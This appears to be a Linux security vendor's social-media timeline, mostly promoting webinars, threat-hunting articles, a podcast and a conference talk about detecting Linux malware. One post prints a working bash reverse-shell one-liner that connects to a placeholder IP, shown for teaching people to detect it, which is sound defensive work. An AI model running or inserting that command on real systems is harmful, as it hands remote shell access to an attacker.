Sandfly Security

Agentless Linux security. We post threat hunting, DFIR and hardening for people running Linux in production. No agents, no kernel modules.

[Sandfly Security @SandflySecurity]

Your alert queue can wait 30 minutes. 😉
We're about to go live on telling real Linux threats from noise, plus a first look at what we've been building 💥💥
Join us: https://t.co/fmkjhcdP3u

[Sandfly Security @SandflySecurity]

Walk through a live Linux bind shell backdoor, step by step,  including recovering the binary after the attacker deletes it from disk.

Safe to reproduce yourself. Commands in the post.

https://t.co/omQHXHbzrf
#ThreatHunting #Linux

[Sandfly Security @SandflySecurity]

Tomorrow, 11am PT / 2pm ET / 6pm GMT 💥 🛡️ Join us for a YouTube Live.

4 questions to ask before you act on any Linux detection. Stay after for a first look at what's next from Sandfly ▶️ https://t.co/jV11SvLbjA

[Sandfly Security @SandflySecurity]

Patching the new PHP flaws (CVE-2026-109618/109619) won't remove a backdoor planted before the patch. Sandfly isn't affected. Here are the 8 detections to check, including one that's off by default: https://t.co/vQG1z8OBub

[Sandfly Security @SandflySecurity]

One week to go: How to know when a Linux detection is worth acting on.🕵️

Tue 27 Oct, 11am PT / 2pm ET / 6pm GMT. Four questions, a checklist you keep, and a first look at what we've been building. Join us live ▶️ https://t.co/wjCK5j02kc

[Sandfly Security @SandflySecurity]

The Scales rootkit landed via an AUR supply chain attack with 1,500+ packages affected.

The blast radius isn't the interesting part. The technique is.

https://t.co/46PtvLE0dL

#Linux #ThreatHunting

[Sandfly Security @SandflySecurity]

Fixed the same false positive three times this month? 😣

That's a failed check. It's question 4 on our list, and plenty of tools don't pass it.

Get the full checklist on Tue 27 Oct. Join us live ▶️ https://t.co/0JFS65pIeJ

[Sandfly Security @SandflySecurity]

Locked Shields is the world's largest live-fire cyber defence exercise. Real red team, real time pressure.

One of our clients ran Sandfly on the Linux defence team, hunting implants while under active attack.

https://t.co/Wod8hMPDNu

#ThreatHunting #Linux

[Sandfly Security @SandflySecurity]

Question 1 of 4: Where did your detection's data actually come from?

Most teams can't answer that, and it matters more than anything else on the list.

Find out why on Tue 27 Oct. Register to join us live ▶️ https://t.co/IXfNnCi89Q

[Sandfly Security @SandflySecurity]

A Linux process running with an immutable binary is almost never legitimate.

Attackers set the immutable flag so you can't delete their payload mid-incident. It’s a huge red flag that a system is compromised.

https://t.co/I1GTWveeDP

#Linux #eBPF

[Sandfly Security @SandflySecurity]

A global automotive manufacturer runs its assembly lines and AGVs on Linux. Downtime costs thousands a minute.

Agent-based tools kept causing problems on exactly those systems. So they stopped using them.

https://t.co/3Be7gFR9fg
#ThreatHunting #Linux

[Sandfly Security @SandflySecurity]

Most Linux alerts aren't worth your time. A few are worth everything 👀

The hard part is telling which is which.

On Tue 27 Oct, Sandfly founder Craig Rowland shares 4 questions to ask before you act on any detection. Free.

https://t.co/nYpiCo3582

[Sandfly Security @SandflySecurity]

Attackers are encrypting payloads to sneak malware past Linux defenses. Spoiler: it doesn't work.Sandfly Founder, @CraigHRowland breaks down the Linux malware trends we're seeing on @DestLinuxPod 👇

[Craig H. Rowland @CraigHRowland]

In this episode I go over some emerging Linux malware trends we saw resurface around memfd fileless loading. The twist is it uses an encrypted payload to try to evade detection (no, it doesn't evade). Also I go over other trends we're seeing in Linux malware.

[Sandfly Security @SandflySecurity]

In this episode we discuss some emerging Linux malware trends we're seeing in the wild leveraging fileless encrypted payloads.

[Destination Linux @DestLinuxPod]

A new #DestinationLinux!
😂💖🐧🐧🐧
https://t.co/CMaJnRt1OO

Cold Incident Response Conference,
OpenRGB Adds Support for New Hardware,
Peppermint OS Moving to XLibre,
Ubuntu 26.10 update,
MX Linux DDoS Attack

#Linux #podcast
Thank you @SandflySecurity!
https://t.co/3kRsGNO8PS...

[Sandfly Security @SandflySecurity]

bash -i >& /dev/tcp/1.2.3.4/4444 0>&1

One line. Works nearly everywhere on Linux. A quick and easy living off the land backdoor that works across all Linux distros.

Here's how to spot it — and how to watch attackers using it live with peekfd: https://t.co/CT0tswwmXp

[Sandfly Security @SandflySecurity]

A pile of small scripts we use for Linux IR work. Free, open source, no email gate.

If they save you an hour, that's the point.

https://t.co/O27y6jScdh

[Sandfly Security @SandflySecurity]

Access problems on Linux hosts that passed an audit are extremely common.
Keys that outlived the people who created them. Password authentication that is still active on hosts nobody claimed. Both invisible to the review that signed the system off.
Keys to the Vault, free with the questions:
https://t.co/jBSUVX71lG

[Sandfly Security @SandflySecurity]

Linux EDR inherited its model from Windows: kernel agent on every endpoint.
We've measured those agents at 5% to over 30% CPU, constantly. At fleet scale that's a line item.
Agentless: zero when idle, 60–120s burst when it runs.
https://t.co/qZMaBflTq5

[Sandfly Security @SandflySecurity]

Linux runs the infrastructure. But who's watching it? 👀

Our founder @CraigHRowland is breaking down current Linux malware tactics and how to hunt them at the Oslo Cold Incident Response Conference. Grab your free ticket below 👇

[Craig H. Rowland @CraigHRowland]

I'm speaking at the Oslo Cold Incident Response Conference in a couple weeks. Tickets are free! Register below. My talk will be on Linux malware trends, tactics, and hunting tips. Stop by and say hello.

https://t.co/wjEsT3GHQv

[Sandfly Security @SandflySecurity]

That's question 6 of 10. The rest are here: https://t.co/NakyLhEUoe

[Sandfly Security @SandflySecurity]

"Password authentication is disabled."
Everywhere? On the hosts built before that standard existed? On the one that got rebuilt at 2am during an incident? The embedded devices with factory defaults?
How do you know, rather than how do you assume?